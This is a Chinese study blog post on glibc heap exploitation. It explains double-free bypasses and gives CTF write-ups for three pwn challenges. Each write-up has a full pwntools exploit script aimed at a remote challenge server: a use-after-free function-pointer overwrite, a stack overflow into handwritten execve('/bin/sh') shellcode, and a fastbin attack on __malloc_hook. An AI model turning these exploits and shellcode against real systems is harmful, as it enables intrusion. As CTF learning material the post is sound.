本周学习总结
堆
堆 堆
堆 堆 堆
堆 堆 堆 堆
堆 堆 堆 堆 堆
全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。
一、double free
double free是一种常见的堆攻击办法,通过重复释放同一堆块来修改其fd和bk指针来实现地址任意写。
但是同时glibc也对double free做了预防,但是仍然存在绕过的办法。
这里为了简单粗暴的展示这种有效的攻击手段,直接说明绕过的操作方法。
对于tcachebins:
前提是需要一个uaf漏洞或者堆溢出漏洞,通过修改堆块的bk指针,只要bk指针不是指向堆基地址+0x10的位置,程序就不会报double free。
对于fastbins:
前提是需要uaf漏洞,先是否堆块A,然后再释放堆块B,然后再释放堆块A,这样堆块A就被double free了。
二、[Easy]–like_it
Check!

开启NX和canary。
ida分析如下:
main:


def:

add_note:


del_note:

print_note:

Magic:

函数def中看似有一个陌生的输入检查,但是实际上并没有什么卵用,只要程序不进入调试状态,那么无论输入什么都可以通过检查。
在add_note函数中系统会先申请0x10字节,前0x8用来存一个puts的地址,后0x8字节用来存用户数据的堆地址。
在del_note中存在uaf。我们可以先申请2个0x30大小的chunk,这样就有了2个0x10大小的堆和2个0x30大小的堆,然后释放这两个用户申请的0x30大小堆块,0x10大小的堆块也会一起被释放,然后在申请1个0x10大小的堆块,在这个堆块里面写入magic的地址,然后print_note得到flag。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def gdbp(p, a=''): if a != '': gdb.attach(p, a) pause() else: gdb.attach(p) pause()
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
p = remote("120.46.59.242", 2111)
def add(size, content): sea(b"choice :", stre(1)) sea(b"size :", stre(size)) sea(b"Content :", content)
def dele(index): sea(b"choice :", stre(2)) sea(b"Index :", stre(index))
def show(index): sea(b"choice :", stre(3)) sea(b"Index :", stre(index))
sea(b"like?", b"6")
add(0x30, b"A" * 24) add(0x30, b"B" * 24) dele(0) dele(1)
add(0x10, p64(0x400CB1)) show(0) op()
|
Flag:

三、[Easy]–shellcode1
Check!

无保护。
ida分析:
Main:

Init:

Input:

x的位置:

gets溢出,x可写可执行,构造shellcode+溢出跳转就秒了。
但是我心血来潮,想试一下手写32位程序的shellcod,不过好像一下子写起来还真不会。
学习一会儿后解决了问题。
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def gdbp(p, a=''): if a != '': gdb.attach(p, a) pause() else: gdb.attach(p) pause()
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
p = remote("120.46.59.242", 2133)
bss_addr = 0x804A080
payload = asm(''' push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx, esp xor ecx, ecx xor edx, edx mov eax, 0xB int 0x80 ''')
sea(b"name?\n", payload)
sela(b"me:\n", b"A" * (0x6C + 0x4) + p32(bss_addr)) op()
|
Flag:

四、[Medium]–Emo_chunk
check!

只开启了NX和canary。
ida分析:
main:


init:

Add_Emo:

Edit_Emo:

Pri_Emo:

Del_Emo:

Shell:

Edit_Emo中有固定0x100大小的写入堆,Add_Emo中未对申请堆的大小做限制,可以通过堆溢出来修改堆块的fd和bk地址来实现地址任意写。
但是这个题目唯一的问题是采用了上古glibc-2.23-0ubuntu11.3_amd64,明显是没有tcachebins给我们用的。
因为没有tcachebins,我们可以直接申请0x240大小的堆块然后释放,因为申请堆块的时候不需要写,我们可以直接再次申请0x240大小的堆块,然后输出这个堆块,因为没有写入,堆块内容不变,我们就得到了一个main_arean附近的地址,通过这个地址我们可以获得libc基地址。
本来是想直接打got表,但是可能是libc版本的问题,这个版本对地址保护格外严格,got表是不可修改的。
我们现在只能打__malloc_hook。但是由于没有tcachebins可用,我们只能用fastbins,但是fastbins对申请的堆块大小检查非常麻烦,没办法慢慢调吧:

经过不断的手动爆破,也是找到了合适的地址。
通过修改fd地址到这里,然后添加合适的偏移将shell的地址写入__malloc_hook的地址,再次申请任意堆块就可以获得shell。
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def gdbp(p, a=''): if a != '': gdb.attach(p, a) pause() else: gdb.attach(p) pause()
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
p = remote("120.46.59.242", 2081)
def add(size): sela(b"Choice!\n", stre(1)) sela(b"Size:\n", stre(size))
def dele(index): sela(b"Choice!\n", stre(2)) sela(b"index:\n", stre(index))
def edit(index, content): sela(b"Choice!\n", stre(3)) sela(b"index:\n", stre(index)) sea(b"Content\n", content)
def show(index): sela(b"Choice!\n", stre(4)) sela(b"index:\n", stre(index))
add(0x240) add(0x30) dele(0) add(0x240) show(0)
malloc_hook = raddr64() - 0x68 ph(malloc_hook, "malloc_hook")
libc_base = malloc_hook - 0x3c4b10 ph(libc_base, "libc_base")
sys_addr = libc_base + 0x0453a0 free_hook = libc_base + 0x3c67a8
dele(0) dele(1) add(0x60) add(0x60) dele(1) dele(0) add(0x60) edit(0, b"A" * 0x68 + p64(0x71) + p64(malloc_hook - 0x1b - 0x8)) add(0x60) add(0x60) edit(2, b"A" * 0x13 + p64(0x400946))
sela(b"Choice!\n", stre(1)) sela(b"Size:\n", stre(0x30)) op()
|
Flag:

横跨四个月的合照:

下周学习计划
| 应该要做的事情 |
堆の进阶
学习感受
1 2 3 4 5 6 7 8
| push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx, esp xor ecx, ecx xor edx, edx mov eax, 0xB int 0x80
|